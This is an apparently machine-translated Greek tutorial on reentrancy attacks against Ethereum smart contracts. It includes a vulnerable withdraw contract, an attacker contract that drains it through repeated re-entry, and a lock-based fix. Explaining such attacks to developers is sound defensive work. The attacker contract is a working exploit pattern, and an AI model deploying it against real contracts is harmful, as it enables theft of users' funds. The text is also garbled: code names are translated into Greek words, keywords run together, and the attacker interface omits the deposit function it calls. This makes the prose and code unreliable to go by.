Δείτε πώς λαμβάνει χώρα ένα από τα πιο συνηθισμένα έξυπνα συμβόλαια που κόστισαν εκατομμύρια σε εταιρείες Web 3...
Μερικά από τα μεγαλύτερα hack στον κλάδο του blockchain, όπου κλάπηκαν μάρκες κρυπτονομισμάτων αξίας εκατομμυρίων δολαρίων, προέκυψαν από επιθέσεις επανεισόδου. Ενώ αυτές οι εισβολές έχουν γίνει λιγότερο συνηθισμένες τα τελευταία χρόνια, εξακολουθούν να αποτελούν σημαντική απειλή για τις εφαρμογές και τους χρήστες του blockchain.
Τι ακριβώς είναι λοιπόν οι επιθέσεις επανεισόδου; Πώς αναπτύσσονται; Και υπάρχουν μέτρα που μπορούν να λάβουν οι προγραμματιστές για να αποτρέψουν την εμφάνισή τους;
Τι είναι η επίθεση επανεισόδου;
Μια επίθεση επανεισόδου συμβαίνει όταν μια ευάλωτη λειτουργία έξυπνου συμβολαίου πραγματοποιεί μια εξωτερική κλήση σε ένα κακόβουλο συμβόλαιο, εγκαταλείποντας προσωρινά τον έλεγχο της ροής συναλλαγών. Στη συνέχεια, το κακόβουλο συμβόλαιο καλεί επανειλημμένα την αρχική συνάρτηση έξυπνου συμβολαίου προτού ολοκληρώσει την εκτέλεσή του, ενώ εξαντλεί τα χρήματά του.
Ουσιαστικά, μια συναλλαγή ανάληψης στο blockchain Ethereum ακολουθεί έναν κύκλο τριών βημάτων: επιβεβαίωση υπολοίπου, έμβασμα και ενημέρωση υπολοίπου. Εάν ένας εγκληματίας του κυβερνοχώρου μπορεί να παραβιάσει τον κύκλο πριν από την ενημέρωση του υπολοίπου, μπορεί να κάνει επανειλημμένα ανάληψη χρημάτων μέχρι να εξαντληθεί ένα πορτοφόλι.
Ένα από τα πιο διαβόητα hack blockchain, το Ethereum DAO hack, όπως καλύπτεται από Coindesk, ήταν μια επίθεση επανεισόδου που οδήγησε σε απώλεια eth αξίας άνω των 60 εκατομμυρίων δολαρίων και άλλαξε ριζικά την πορεία του δεύτερου μεγαλύτερου κρυπτονομίσματος.
Πώς λειτουργεί μια επίθεση επανεισόδου;
Φανταστείτε μια τράπεζα στην πόλη σας όπου οι ενάρετοι ντόπιοι κρατούν τα χρήματά τους. Η συνολική ρευστότητά του είναι 1 εκατομμύριο δολάρια. Ωστόσο, η τράπεζα έχει ένα ελαττωματικό λογιστικό σύστημα—το προσωπικό περιμένει μέχρι το βράδυ για να ενημερώσει τα τραπεζικά υπόλοιπα.
Ο φίλος επενδυτής σας επισκέπτεται την πόλη και ανακαλύπτει το λογιστικό ελάττωμα. Δημιουργεί λογαριασμό και καταθέτει $100.000. Μια μέρα αργότερα, αποσύρει 100.000 δολάρια. Μετά από μία ώρα, κάνει άλλη μια προσπάθεια ανάληψης 100.000 $. Εφόσον η τράπεζα δεν έχει ενημερώσει το υπόλοιπό του, εξακολουθεί να δείχνει 100.000 $. Οπότε παίρνει τα λεφτά. Το κάνει επανειλημμένα μέχρι να μην μείνουν χρήματα. Οι υπάλληλοι συνειδητοποιούν ότι δεν υπάρχουν χρήματα μόνο όταν ισορροπούν τα βιβλία το βράδυ.
Στο πλαίσιο ενός έξυπνου συμβολαίου, η διαδικασία έχει ως εξής:
- Ένας κυβερνοεγκληματίας αναγνωρίζει ένα έξυπνο συμβόλαιο "Χ" με μια ευπάθεια.
- Ο εισβολέας ξεκινά μια νόμιμη συναλλαγή στο συμβόλαιο-στόχο, το X, για να στείλει χρήματα σε ένα κακόβουλο συμβόλαιο, το "Y". Κατά την εκτέλεση, το Y καλεί την ευάλωτη συνάρτηση στο X.
- Η εκτέλεση του συμβολαίου του X διακόπτεται ή καθυστερεί καθώς το συμβόλαιο περιμένει για αλληλεπίδραση με το εξωτερικό συμβάν
- Ενώ η εκτέλεση είναι σε παύση, ο εισβολέας καλεί επανειλημμένα την ίδια ευάλωτη συνάρτηση στο X, ενεργοποιώντας ξανά την εκτέλεσή της όσο το δυνατόν περισσότερες φορές
- Με κάθε επανεισαγωγή, η κατάσταση του συμβολαίου χειραγωγείται, επιτρέποντας στον εισβολέα να στραγγίσει χρήματα από το X στο Y
- Μόλις εξαντληθούν τα χρήματα, η επανεισαγωγή σταματά, η καθυστερημένη εκτέλεση του X τελικά ολοκληρώνεται και η κατάσταση του συμβολαίου ενημερώνεται με βάση την τελευταία επανεισαγωγή.
Γενικά, ο εισβολέας εκμεταλλεύεται με επιτυχία την ευπάθεια επανεισόδου προς όφελός του, κλέβοντας κεφάλαια από τη σύμβαση.
Ένα παράδειγμα επίθεσης επανεισόδου
Πώς ακριβώς μπορεί να συμβεί τεχνικά μια επίθεση επανεισόδου κατά την ανάπτυξη; Ακολουθεί ένα υποθετικό έξυπνο συμβόλαιο με μια πύλη επανεισόδου. Θα χρησιμοποιήσουμε αξιωματική ονομασία για να διευκολύνουμε την παρακολούθηση.
// Vulnerable contract with a reentrancy vulnerability
pragmasolidity ^0.8.0;
contract VulnerableContract {
mapping(address => uint256) private balances;functiondeposit() publicpayable{
balances[msg.sender] += msg.value;
}
functionwithdraw(uint256 amount) public{
require(amount <= balances[msg.sender], "Insufficient balance");
(bool success, ) = msg.sender.call{value: amount}("");
require(success, "Transfer failed");
balances[msg.sender] -= amount;
}
}
ο Ευάλωτη σύμβαση επιτρέπει στους χρήστες να καταθέσουν eth στο συμβόλαιο χρησιμοποιώντας το κατάθεση λειτουργία. Οι χρήστες μπορούν στη συνέχεια να αποσύρουν το eth που έχουν καταθέσει χρησιμοποιώντας το αποσύρω λειτουργία. Ωστόσο, υπάρχει μια ευπάθεια επανεισόδου στο αποσύρω λειτουργία. Όταν ένας χρήστης αποσύρεται, το συμβόλαιο μεταφέρει το ζητούμενο ποσό στη διεύθυνση του χρήστη πριν από την ενημέρωση του υπολοίπου, δημιουργώντας μια ευκαιρία για εκμετάλλευση από έναν εισβολέα.
Τώρα, ορίστε πώς θα ήταν το έξυπνο συμβόλαιο ενός επιτιθέμενου.
// Attacker's contract to exploit the reentrancy vulnerability
pragmasolidity ^0.8.0;
interfaceVulnerableContractInterface{
functionwithdraw(uint256 amount)external;
}contract AttackerContract {
VulnerableContractInterface private vulnerableContract;
address private targetAddress;constructor(address _vulnerableContractAddress) {
vulnerableContract = VulnerableContractInterface(_vulnerableContractAddress);
targetAddress = msg.sender;
}// Function to trigger the attack
functionattack() publicpayable{
// Deposit some ether to the vulnerable contract
vulnerableContract.deposit{value: msg.value}();// Call the vulnerable contract's withdraw function
vulnerableContract.withdraw(msg.value);
}// Receive function to receive funds from the vulnerable contract
receive() external payable {
if (address(vulnerableContract).balance >= 1 ether) {
// Reenter the vulnerable contract's withdraw function
vulnerableContract.withdraw(1 ether);
}
}
// Function to steal the funds from the vulnerable contract
functionwithdrawStolenFunds() public{
require(msg.sender == targetAddress, "Unauthorized");
(bool success, ) = targetAddress.call{value: address(this).balance}("");
require(success, "Transfer failed");
}
}
Όταν ξεκινήσει η επίθεση:
- ο AttackerContract παίρνει τη διεύθυνση του Ευάλωτη σύμβαση στον κατασκευαστή του και το αποθηκεύει στο ευάλωτηΣύμβαση μεταβλητός.
- ο επίθεση Η συνάρτηση καλείται από τον εισβολέα, καταθέτοντας κάποιο eth στο Ευάλωτη σύμβαση χρησιμοποιώντας την κατάθεση λειτουργία και στη συνέχεια καλώντας αμέσως το αποσύρω λειτουργία του Ευάλωτη σύμβαση.
- ο αποσύρω λειτουργία στο Ευάλωτη σύμβαση μεταφέρει το ζητούμενο ποσό eth στον εισβολέα AttackerContract πριν από την ενημέρωση του υπολοίπου, αλλά επειδή το συμβόλαιο του εισβολέα έχει τεθεί σε παύση κατά τη διάρκεια της εξωτερικής κλήσης, η λειτουργία δεν έχει ακόμη ολοκληρωθεί.
- ο λαμβάνω λειτουργία στο AttackerContract ενεργοποιείται επειδή το Ευάλωτη σύμβαση έστειλε eth σε αυτό το συμβόλαιο κατά τη διάρκεια της εξωτερικής κλήσης.
- Η συνάρτηση λήψης ελέγχει εάν το AttackerContract Το υπόλοιπο είναι τουλάχιστον 1 αιθέρας (το ποσό για ανάληψη) και μετά εισάγει ξανά το Ευάλωτη σύμβαση καλώντας του αποσύρω λειτουργήσει ξανά.
- Τα βήματα τρία έως πέντε επαναλαμβάνονται μέχρι το Ευάλωτη σύμβαση εξαντλούνται τα χρήματα και το συμβόλαιο του επιτιθέμενου συγκεντρώνει ένα σημαντικό ποσό eth.
- Τέλος, ο εισβολέας μπορεί να καλέσει το ανάληψη Κλεμμένων Κεφαλαίων λειτουργία στο AttackerContract να κλέψουν όλα τα κεφάλαια που συσσωρεύτηκαν στο συμβόλαιό τους.
Η επίθεση μπορεί να συμβεί πολύ γρήγορα, ανάλογα με την απόδοση του δικτύου. Όταν αφορούν πολύπλοκα έξυπνα συμβόλαια όπως το DAO Hack, το οποίο οδήγησε στο hard fork του Ethereum σε Ethereum και Ethereum Classic, η επίθεση συμβαίνει σε αρκετές ώρες.
Πώς να αποτρέψετε μια επίθεση επανεισόδου
Για να αποτρέψουμε μια επίθεση επανεισόδου, πρέπει να τροποποιήσουμε το ευάλωτο έξυπνο συμβόλαιο για να ακολουθήσουμε τις βέλτιστες πρακτικές για ασφαλή ανάπτυξη έξυπνων συμβολαίων. Σε αυτήν την περίπτωση, θα πρέπει να εφαρμόσουμε το μοτίβο "checks-effects-interactions" όπως στον παρακάτω κώδικα.
// Secure contract with the "checks-effects-interactions" pattern
pragmasolidity ^0.8.0;
contract SecureContract {
mapping(address => uint256) private balances;
mapping(address => bool) private isLocked;functiondeposit() publicpayable{
balances[msg.sender] += msg.value;
}functionwithdraw(uint256 amount) public{
require(amount <= balances[msg.sender], "Insufficient balance");
require(!isLocked[msg.sender], "Withdrawal in progress");
// Lock the sender's account to prevent reentrancy
isLocked[msg.sender] = true;// Perform the state change
balances[msg.sender] -= amount;// Interact with the external contract after the state change
(bool success, ) = msg.sender.call{value: amount}("");
require(success, "Transfer failed");
// Unlock the sender's account
isLocked[msg.sender] = false;
}
}
Σε αυτήν τη σταθερή έκδοση, παρουσιάσαμε ένα είναι κλειδωμένο αντιστοίχιση για να παρακολουθείτε εάν ένας συγκεκριμένος λογαριασμός βρίσκεται σε διαδικασία ανάληψης. Όταν ένας χρήστης ξεκινά μια ανάληψη, το συμβόλαιο ελέγχει εάν ο λογαριασμός του είναι κλειδωμένος (!isLocked[msg.sender]), υποδεικνύοντας ότι δεν βρίσκεται σε εξέλιξη καμία άλλη ανάληψη από τον ίδιο λογαριασμό.
Εάν ο λογαριασμός δεν είναι κλειδωμένος, η σύμβαση συνεχίζεται με την αλλαγή κατάστασης και την εξωτερική αλληλεπίδραση. Μετά την αλλαγή κατάστασης και την εξωτερική αλληλεπίδραση, ο λογαριασμός ξεκλειδώνεται ξανά, επιτρέποντας μελλοντικές αναλήψεις.
Τύποι επιθέσεων επανεισόδου
Γενικά, υπάρχουν τρεις κύριοι τύποι επιθέσεων επανεισόδου με βάση τη φύση της εκμετάλλευσής τους.
- Ενιαία επίθεση επανεισόδου: Σε αυτήν την περίπτωση, η ευάλωτη συνάρτηση που καλεί επανειλημμένα ο εισβολέας είναι η ίδια που είναι επιρρεπής στην πύλη επανεισόδου. Η παραπάνω επίθεση είναι ένα παράδειγμα μεμονωμένης επίθεσης επανεισόδου, η οποία μπορεί εύκολα να αποτραπεί με την εφαρμογή κατάλληλων ελέγχων και κλειδωμάτων στον κώδικα.
- Επίθεση πολλαπλών λειτουργιών: Σε αυτό το σενάριο, ένας εισβολέας αξιοποιεί μια ευάλωτη συνάρτηση για να καλέσει μια διαφορετική συνάρτηση στο ίδιο συμβόλαιο που μοιράζεται μια κατάσταση με την ευάλωτη. Η δεύτερη λειτουργία, που καλείται από τον εισβολέα, έχει κάποιο επιθυμητό αποτέλεσμα, καθιστώντας την πιο ελκυστική για εκμετάλλευση. Αυτή η επίθεση είναι πιο περίπλοκη και πιο δύσκολη στην ανίχνευση, επομένως απαιτούνται αυστηροί έλεγχοι και κλειδώματα σε διασυνδεδεμένες λειτουργίες για τον μετριασμό της.
- Διασυμβατική επίθεση: Αυτή η επίθεση συμβαίνει όταν ένα εξωτερικό συμβόλαιο αλληλεπιδρά με ένα ευάλωτο συμβόλαιο. Κατά τη διάρκεια αυτής της αλληλεπίδρασης, η κατάσταση του ευάλωτου συμβολαίου καλείται στο εξωτερικό συμβόλαιο προτού ενημερωθεί πλήρως. Συνήθως συμβαίνει όταν πολλά συμβόλαια μοιράζονται την ίδια μεταβλητή και ορισμένα ενημερώνουν την κοινόχρηστη μεταβλητή με ανασφάλεια. Ασφαλή πρωτόκολλα επικοινωνίας μεταξύ συμβολαίων και περιοδικών έξυπνοι έλεγχοι συμβολαίων πρέπει να εφαρμοστεί για να μετριαστεί αυτή η επίθεση.
Οι επιθέσεις επανεισόδου μπορούν να εκδηλωθούν με διαφορετικές μορφές και επομένως απαιτούν συγκεκριμένα μέτρα για την αποτροπή καθεμίας.
Μένοντας ασφαλής από επιθέσεις επανεισόδου
Οι επιθέσεις επανεισόδου έχουν προκαλέσει σημαντικές οικονομικές απώλειες και έχουν υπονομεύσει την εμπιστοσύνη στις εφαρμογές blockchain. Για την προστασία των συμβάσεων, οι προγραμματιστές πρέπει να υιοθετήσουν επιμελώς τις βέλτιστες πρακτικές για να αποφύγουν τα τρωτά σημεία επανεισόδου.
Θα πρέπει επίσης να εφαρμόζουν ασφαλή πρότυπα ανάληψης, να χρησιμοποιούν αξιόπιστες βιβλιοθήκες και να διεξάγουν διεξοδικούς ελέγχους για να ενισχύσουν περαιτέρω την άμυνα του έξυπνου συμβολαίου. Φυσικά, η παραμονή ενήμερων για τις αναδυόμενες απειλές και η ενεργός δράση με τις προσπάθειες ασφαλείας μπορεί να διασφαλίσει ότι υποστηρίζουν επίσης την ακεραιότητα των οικοσυστημάτων blockchain.